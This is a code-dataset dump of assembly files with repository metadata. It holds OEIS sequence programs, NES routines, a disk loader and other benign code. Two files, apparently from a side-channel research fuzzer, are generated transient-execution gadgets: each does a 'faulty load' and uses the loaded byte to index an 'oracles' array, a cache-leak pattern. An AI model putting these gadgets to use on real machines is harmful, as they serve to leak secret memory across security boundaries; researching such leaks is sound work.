hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
fad54ad0c230e12280169ab2ae1aa62d605d1c19 | 3,150 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_11_907.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_11_907.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_11_907.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xdfff, %r12
nop
inc %r14
movb (%r12), %r13b
nop
nop
inc %r12
lea addresses_UC_ht+0xe013, %rsi
lea addresses_WC_ht+0x108ad, %rdi
nop
sub %r11, %r11
mov $124, %rcx
rep movsw
nop
nop
nop
nop
sub $61033, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %rax
push %rbx
push %rdx
push %rsi
// Store
lea addresses_A+0x32ed, %r15
nop
inc %r10
movb $0x51, (%r15)
nop
nop
xor $51798, %r10
// Store
lea addresses_WT+0x1caed, %r12
nop
nop
nop
sub $36890, %rax
movw $0x5152, (%r12)
nop
nop
add %r10, %r10
// Store
lea addresses_A+0x32ed, %rbx
nop
nop
and %rsi, %rsi
mov $0x5152535455565758, %rax
movq %rax, %xmm3
movups %xmm3, (%rbx)
nop
nop
nop
and $29997, %r15
// Store
lea addresses_A+0x32ed, %rsi
nop
inc %r15
movl $0x51525354, (%rsi)
and $55001, %r15
// Store
lea addresses_A+0x32ed, %r10
nop
nop
nop
cmp %r15, %r15
movl $0x51525354, (%r10)
nop
nop
nop
nop
add %rax, %rax
// Load
lea addresses_PSE+0x1eaed, %rax
clflush (%rax)
nop
nop
cmp $38837, %rsi
mov (%rax), %edx
// Exception!!!
nop
nop
mov (0), %r15
nop
nop
nop
and %r12, %r12
// Store
lea addresses_A+0xf30d, %rdx
nop
nop
nop
cmp %r12, %r12
mov $0x5152535455565758, %rax
movq %rax, %xmm1
vmovups %ymm1, (%rdx)
nop
nop
nop
nop
add %r15, %r15
// Faulty Load
lea addresses_A+0x32ed, %rsi
clflush (%rsi)
nop
and $54022, %r15
movb (%rsi), %r12b
lea oracles, %r10
and $0xff, %r12
shlq $12, %r12
mov (%r10,%r12,1), %r12
pop %rsi
pop %rdx
pop %rbx
pop %rax
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': True, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'54': 11}
54 54 54 54 54 54 54 54 54 54 54
*/
| 18.529412 | 148 | 0.638095 |
99940f3b7b9427903199c231cd1f364ca34e669e | 688 | asm | Assembly | oeis/133/A133668.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/133/A133668.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/133/A133668.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A133668: a(n) = a(n-1) - 36*a(n-2), a(0)=1, a(1)=6.
; Submitted by Jamie Morken(s1.)
; 1,6,-30,-246,834,9690,-20334,-369174,362850,13653114,590514,-490921590,-512180094,17160997146,35599480530,-582196416726,-1863777715806,19095293286330,86191291055346,-601239267252534,-3704125745244990,17940487875846234,151289014704665874,-494568548825798550,-5940973078193770014,11863494679534977786,225738525494510698290,-201347282968748502006,-8327934200771133640446,-1079432013896187568230,298726199213864623487826,337585751714127375944106,-10416557419984999069617630,-22569644481693584603605446
mov $3,1
lpb $0
sub $0,1
mov $2,$3
mul $2,36
mov $3,6
add $3,$1
sub $1,$2
lpe
mov $0,$3
| 45.866667 | 499 | 0.787791 |
988d799e9a68a2c7642e363fe4f0c2edd4f7cf85 | 1,283 | asm | Assembly | Week1/nesppu.asm | ShyDev/PongForNES | f391cdd1816c15b0ce954b0cdae4a2031be5319a | [
"MIT"
] | null | null | null | Week1/nesppu.asm | ShyDev/PongForNES | f391cdd1816c15b0ce954b0cdae4a2031be5319a | [
"MIT"
] | null | null | null | Week1/nesppu.asm | ShyDev/PongForNES | f391cdd1816c15b0ce954b0cdae4a2031be5319a | [
"MIT"
] | null | null | null |
;;;;; SUBROUTINES
ClearRAM:
lda #0 ; A = 0
tax ; X = 0
.clearRAM
sta $0,x ; clear $0-$ff
cpx #$fe ; last 2 bytes of stack?
bcs .skipStack ; don't clear it
sta $100,x ; clear $100-$1fd
.skipStack
sta $200,x ; clear $200-$2ff
sta $300,x ; clear $300-$3ff
sta $400,x ; clear $400-$4ff
sta $500,x ; clear $500-$5ff
sta $600,x ; clear $600-$6ff
sta $700,x ; clear $700-$7ff
inx ; X = X + 1
bne .clearRAM ; loop 256 times
rts
; wait for VSYNC to start
WaitSync:
bit PPU_STATUS
bpl WaitSync
rts
;;;;; RANDOM NUMBERS
NextRandom
lsr a
bcc .NoEor
eor #$d4
.NoEor:
rts
; Get previous random value
PrevRandom
asl a
bcc .NoEor
eor #$a9
.NoEor:
rts
;;;;; CONTROLLER READING
ReadJoypad0:
ldy #$00
ReadJoypadY
lda #$01
sta JOYPAD1,y ; set strobe bit
lsr a ; now A is 0
sta JOYPAD1,y ; clear strobe bit
ldx #$08 ; read 8 bits
.loop:
pha ; save A (result)
lda JOYPAD1,y ; load controller state
lsr a ; bit 0 -> carry
pla ; restore A (result)
rol a ; carry -> bit 0 of result
dex ; X = X - 1
bne .loop ; repeat if X is 0
rts ; controller bits returned in A
| 19.738462 | 45 | 0.542479 |
c3bfb82b451e57c1fd89f99b48c484b6b13b723a | 161 | asm | Assembly | minimal.asm | smirzaei/systems-programming-class | f63c9ccc5305a26a0388e6cb6b374cb93a17a30c | [
"MIT"
] | null | null | null | minimal.asm | smirzaei/systems-programming-class | f63c9ccc5305a26a0388e6cb6b374cb93a17a30c | [
"MIT"
] | null | null | null | minimal.asm | smirzaei/systems-programming-class | f63c9ccc5305a26a0388e6cb6b374cb93a17a30c | [
"MIT"
] | null | null | null | .model small
.stack 64
.data
.code
main proc
exit: mov ah,4ch
int 21h
main endp
end main
| 13.416667 | 22 | 0.409938 |
b85d4e8f0d1ed7751733fdb9d8fa693a10045308 | 18 | asm | Assembly | test.asm | sk2sat/disas | 525414bf4042c2f4f7e7bfd43ff24007befdad55 | [
"MIT"
] | null | null | null | test.asm | sk2sat/disas | 525414bf4042c2f4f7e7bfd43ff24007befdad55 | [
"MIT"
] | null | null | null | test.asm | sk2sat/disas | 525414bf4042c2f4f7e7bfd43ff24007befdad55 | [
"MIT"
] | null | null | null | start:
JMP start
| 6 | 10 | 0.722222 |
9fe21e25f1e56f9211773cccd75a1fee12da3299 | 976 | asm | Assembly | lib/disk.asm | campaul/dos-from-scratch | 7aec4dbf3395f505114e9ffcc809534043f61392 | [
"MIT"
] | null | null | null | lib/disk.asm | campaul/dos-from-scratch | 7aec4dbf3395f505114e9ffcc809534043f61392 | [
"MIT"
] | null | null | null | lib/disk.asm | campaul/dos-from-scratch | 7aec4dbf3395f505114e9ffcc809534043f61392 | [
"MIT"
] | null | null | null | ; Loads an LBA sector from disk
; TODO: this is currently hardcoded for a 1.44MB floppy
; ax: sector to load
; bx: location to load it
; cl: number of sectors to read
load_sectors:
pusha
push ax
; Calculate Cylinder
; ch <- LBA ÷ (36)
mov dh, 36
div dh
mov ch, al
; Calculate Head
; dh <- (LBA / 18) mod 2
pop ax
mov dh, 18
div dh
push ax ; Store (LBA / 18) for use when calculating s
mov ah, 0
mov dh, 2
div dh
mov dh, ah
; Calculate Sector
; cl <- (LBA mod 18) + 1
; al < number of sectors to read
pop ax
inc ah
mov al, ah
xchg cl, al
; Perform Disk Read
; TODO: This is currently hardcoded for disk 0
mov ah, 0x02
mov dl, 0
int 0x13
jc disk_error
popa
ret
disk_error:
mov bx, DISK_ERROR_MESSAGE
call print
hlt
jmp $-1
DISK_ERROR_MESSAGE: db "Error reading disk!$"
TEST_MESSAGE: db "Reading Disk", 0x0a, 0x0d, "$"
| 17.122807 | 58 | 0.589139 |
b0c7c8abf26d13d75157cb365f8cf34601e049f4 | 1,362 | asm | Assembly | src/diskalloc.asm | drdanick/apricot-os | 65fcc85313986f9c6a8aa5738c4b19fa5544caac | [
"MIT"
] | null | null | null | src/diskalloc.asm | drdanick/apricot-os | 65fcc85313986f9c6a8aa5738c4b19fa5544caac | [
"MIT"
] | null | null | null | src/diskalloc.asm | drdanick/apricot-os | 65fcc85313986f9c6a8aa5738c4b19fa5544caac | [
"MIT"
] | 1 | 2018-07-10T19:35:07.000Z | 2018-07-10T19:35:07.000Z | ; asmsyntax=apricos
; ===================================
; == ==
; == ApricotOS Disk Storage ==
; == Allocator ==
; == ==
; == Revision 1 ==
; == ==
; == (C) 2017 Nick Stones-Havas ==
; == ==
; == ==
; == Provides a collection of ==
; == storage allocation routines. ==
; == ==
; ===================================
;
#name "diskalloc"
#segment 7
.nearptr CHECK_SECTOR
.nearptr AUTO_ALLOCATE_SECTOR
; Check if a disk sector is free or not.
; $a8 - The track number of the sector to check
; $a9 - The sctor number to check
;
; Returns:
; $a8 - Zero if the sector is free, non-zero otherwise
;
; Volatile registers:
; TODO
CHECK_SECTOR:
; TODO
NOP
; Find and allocate the first available sector
;
; Returns:
; $a8 - Non-zero if the operation was successful, zero otherwise
; $a9 - The track number of the allocated sector
; $a10 - The sector number of the allocated sector
;
; Volatile registers:
; TODO
AUTO_ALLOCATE_SECTOR:
; TODO
NOP
; Free a given sector
;
; $a8 - The track number of the sector to free
; $a9 - The sector number to free
;
; Volatile registers:
; TODO
FREE_SECTOR:
; TODO
NOP
| 22.7 | 65 | 0.503671 |
e7b1d60a39e5b345f2fe249c011f59d074a11624 | 409 | asm | Assembly | oeis/116/A116420.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/116/A116420.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/116/A116420.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A116420: Reduced denominators of 2(2^(1+n)-1)/(1+n)/(2+n).
; Submitted by Jamie Morken(w2)
; 1,1,6,2,15,1,28,12,45,5,66,2,91,35,120,8,153,1,190,14,33,11,276,20,325,117,54,14,435,5,496,176,561,595,630,2,703,247,780,4,861,1,946,66,1035,23,1128,56,1225,425,1326,26,1431,55,1540,532,1653,29,1770,2,1891
add $0,1
lpb $0
mul $1,2
add $1,1
mov $3,$0
sub $0,1
add $2,$3
lpe
gcd $1,$2
div $2,$1
mov $0,$2
| 25.5625 | 207 | 0.630807 |
73b30e39a205289ef2c7b90e1706fff575d75043 | 599 | asm | Assembly | oeis/166/A166147.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/166/A166147.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/166/A166147.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A166147: a(n) = 4n^2 + 4n - 7.
; Submitted by Christian Krause
; 1,17,41,73,113,161,217,281,353,433,521,617,721,833,953,1081,1217,1361,1513,1673,1841,2017,2201,2393,2593,2801,3017,3241,3473,3713,3961,4217,4481,4753,5033,5321,5617,5921,6233,6553,6881,7217,7561,7913,8273,8641,9017,9401,9793,10193,10601,11017,11441,11873,12313,12761,13217,13681,14153,14633,15121,15617,16121,16633,17153,17681,18217,18761,19313,19873,20441,21017,21601,22193,22793,23401,24017,24641,25273,25913,26561,27217,27881,28553,29233,29921,30617,31321,32033,32753,33481,34217,34961,35713
add $0,2
bin $0,2
mul $0,8
sub $0,7
| 66.555556 | 496 | 0.771285 |
a9509e6851f1901a6c81b7352adfec788fb556a4 | 191 | asm | Assembly | libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/malloc_unlocked_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/malloc_unlocked_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/malloc_unlocked_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; void *malloc_unlocked_fastcall(size_t size)
SECTION code_alloc_malloc
PUBLIC _malloc_unlocked_fastcall
_malloc_unlocked_fastcall:
INCLUDE "alloc/malloc/z80/asm_malloc_unlocked.asm"
| 17.363636 | 53 | 0.842932 |
2a17822ec373a34e9baa3f88f6c657b68265811b | 883 | asm | Assembly | cards/bn5/ItemCards/136-F014 Shuko's Wallet Contents.asm | RockmanEXEZone/MMBN-Mod-Card-Kit | d591ddca5566dbb323dc19c11e69410fa4073d1b | [
"Unlicense"
] | 10 | 2017-12-05T14:25:38.000Z | 2022-02-21T04:28:00.000Z | cards/bn5/ItemCards/136-F014 Shuko's Wallet Contents.asm | RockmanEXEZone/MMBN-Mod-Card-Kit | d591ddca5566dbb323dc19c11e69410fa4073d1b | [
"Unlicense"
] | null | null | null | cards/bn5/ItemCards/136-F014 Shuko's Wallet Contents.asm | RockmanEXEZone/MMBN-Mod-Card-Kit | d591ddca5566dbb323dc19c11e69410fa4073d1b | [
"Unlicense"
] | null | null | null | .include "defaults_item.asm"
table_file_jp equ "exe5-utf8.tbl"
table_file_en equ "bn5-utf8.tbl"
game_code_len equ 3
game_code equ 0x4252424A // BRBJ
game_code_2 equ 0x42524245 // BRBE
game_code_3 equ 0x42524250 // BRBP
card_type equ 0
card_id equ 34
card_no equ "034"
card_sub equ "Item Card 34"
card_sub_x equ 62
card_desc_len equ 2
card_desc_1 equ "Shuko's Wallet"
card_desc_2 equ "Contents"
card_desc_3 equ ""
card_name_jp_full equ "城戸舟子の財布の中身"
card_name_jp_game equ "きどふなごのさいふのなかみ"
card_name_en_full equ "Shuko's Wallet Contents"
card_name_en_game equ "Shuko's Wallet Contents"
card_game_desc_jp_len equ 2
card_game_desc_jp_1 equ "きどふなごのさいふのなかみ!"
card_game_desc_jp_2 equ "300Zを手に入れた!"
card_game_desc_jp_3 equ ""
card_game_desc_en_len equ 2
card_game_desc_en_1 equ "Shuko's wallet contents!"
card_game_desc_en_2 equ "Got 300 Zennys!"
card_game_desc_en_3 equ "" | 29.433333 | 50 | 0.801812 |
3616d5c66903965d5a37a15defdb3dcd1062121e | 405 | asm | Assembly | oeis/024/A024647.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/024/A024647.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/024/A024647.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A024647: n written in fractional base 8/5.
; Submitted by Christian Krause
; 0,1,2,3,4,5,6,7,50,51,52,53,54,55,56,57,520,521,522,523,524,525,526,527,570,571,572,573,574,575,576,577,5240,5241,5242,5243,5244,5245,5246,5247,5710,5711,5712,5713,5714,5715,5716,5717,5760,5761,5762,5763,5764,5765
mov $3,1
lpb $0
mov $2,$0
div $0,8
mul $0,5
mod $2,8
mul $2,$3
add $1,$2
mul $3,10
lpe
mov $0,$1
| 25.3125 | 215 | 0.671605 |
0de6d37dbd4aadfbd4702331bccc3b661465a008 | 128 | asm | Assembly | subs/ovlterm.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 28 | 2015-02-03T01:38:24.000Z | 2022-03-23T05:48:24.000Z | subs/ovlterm.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 20 | 2015-01-02T14:51:20.000Z | 2021-01-09T21:37:19.000Z | subs/ovlterm.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 9 | 2015-02-11T17:43:56.000Z | 2019-09-05T11:07:02.000Z | TITLE
PUBLIC $$SLR_OVL_TERM
CODE SEGMENT 'CODE'
$$SLR_OVL_TERM PROC FAR
RET
$$SLR_OVL_TERM ENDP
CODE ENDS
END
| 7.529412 | 23 | 0.679688 |
531b2e2c2f85bbb89b5ecf5d917972734d1060cb | 728 | asm | Assembly | libsrc/stdio/spc1000/generic_console_tms9118_stub.asm | Toysoft/z88dk | f930bef9ac4feeec91a07303b79ddd9071131a24 | [
"ClArtistic"
] | null | null | null | libsrc/stdio/spc1000/generic_console_tms9118_stub.asm | Toysoft/z88dk | f930bef9ac4feeec91a07303b79ddd9071131a24 | [
"ClArtistic"
] | null | null | null | libsrc/stdio/spc1000/generic_console_tms9118_stub.asm | Toysoft/z88dk | f930bef9ac4feeec91a07303b79ddd9071131a24 | [
"ClArtistic"
] | 1 | 2019-12-03T23:28:20.000Z | 2019-12-03T23:28:20.000Z |
MODULE __tms9118_console_stubs
PUBLIC tms9918_cls
PUBLIC tms9918_console_vpeek
PUBLIC tms9918_console_ioctl
PUBLIC tms9918_scrollup
PUBLIC tms9918_printc
PUBLIC tms9918_set_ink
PUBLIC tms9918_set_paper
PUBLIC tms9918_set_inverse
PUBLIC tms9918_spc1000_stub
defc tms9918_cls = stub
defc tms9918_console_vpeek = stub_scf
defc tms9918_console_ioctl = stub_scf
defc tms9918_scrollup = stub
defc tms9918_printc = stub
defc tms9918_set_ink = stub
defc tms9918_set_paper = stub
defc tms9918_set_inverse = stub
defc tms9918_spc1000_stub = 1
stub_scf:
scf
stub:
ret
| 21.411765 | 45 | 0.667582 |
12d6bf5498c6755a0a5466582636403583513d14 | 344 | asm | Assembly | libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_init_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_init_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/adt/wa_stack/c/sccz80/wa_stack_init_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; wa_stack_t *wa_stack_init(void *p, void *data, size_t capacity)
SECTION code_clib
SECTION code_adt_wa_stack
PUBLIC wa_stack_init_callee
EXTERN w_array_init_callee
defc wa_stack_init_callee = w_array_init_callee
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _wa_stack_init_callee
defc _wa_stack_init_callee = wa_stack_init_callee
ENDIF
| 18.105263 | 65 | 0.848837 |
547cbe8e24d197e03ddd481fdeee9dd01783fd39 | 644 | asm | Assembly | oeis/004/A004632.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/004/A004632.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/004/A004632.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A004632: Cubes written in base 2.
; 1,1000,11011,1000000,1111101,11011000,101010111,1000000000,1011011001,1111101000,10100110011,11011000000,100010010101,101010111000,110100101111,1000000000000,1001100110001,1011011001000,1101011001011,1111101000000,10010000101101,10100110011000,10111110000111,11011000000000,11110100001001,100010010101000,100110011100011,101010111000000,101111101000101,110100101111000,111010001011111,1000000000000000,1000110001100001,1001100110001000,1010011101111011,1011011001000000,1100010111011101
add $0,1
pow $0,3
seq $0,5836 ; Numbers n whose base 3 representation contains no 2.
seq $0,7089 ; Numbers in base 3.
| 80.5 | 488 | 0.868012 |
987b24d3e391556be56313d37802493e02e1ac6e | 5,830 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1427.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1427.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1427.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x7b45, %rsi
lea addresses_A_ht+0x128e5, %rdi
nop
add %r11, %r11
mov $48, %rcx
rep movsb
nop
nop
and %r8, %r8
lea addresses_WT_ht+0x1a305, %r13
nop
nop
inc %r14
mov $0x6162636465666768, %rsi
movq %rsi, (%r13)
nop
add %r8, %r8
lea addresses_WT_ht+0x9fc5, %r8
nop
nop
nop
add $49155, %r11
movups (%r8), %xmm4
vpextrq $0, %xmm4, %rsi
nop
nop
nop
nop
and $57081, %rdi
lea addresses_WT_ht+0x1c585, %r11
nop
nop
nop
add $65161, %r14
mov $0x6162636465666768, %rsi
movq %rsi, (%r11)
nop
nop
nop
nop
xor $23780, %rsi
lea addresses_WT_ht+0x15e05, %r14
nop
nop
cmp $10235, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, (%r14)
nop
cmp %r8, %r8
lea addresses_UC_ht+0x13b45, %rcx
nop
nop
nop
cmp %r11, %r11
movups (%rcx), %xmm3
vpextrq $1, %xmm3, %rsi
nop
cmp %r13, %r13
lea addresses_A_ht+0x4025, %rsi
nop
nop
nop
nop
and %rdi, %rdi
movb (%rsi), %cl
nop
nop
nop
nop
sub %r13, %r13
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r9
push %rcx
push %rsi
// Store
mov $0x345, %r14
sub %r9, %r9
movb $0x51, (%r14)
nop
nop
nop
nop
nop
inc %r12
// Faulty Load
lea addresses_RW+0x4f45, %r14
clflush (%r14)
nop
nop
nop
nop
xor %r12, %r12
mov (%r14), %r9
lea oracles, %rcx
and $0xff, %r9
shlq $12, %r9
mov (%rcx,%r9,1), %r9
pop %rsi
pop %rcx
pop %r9
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'32': 21829}
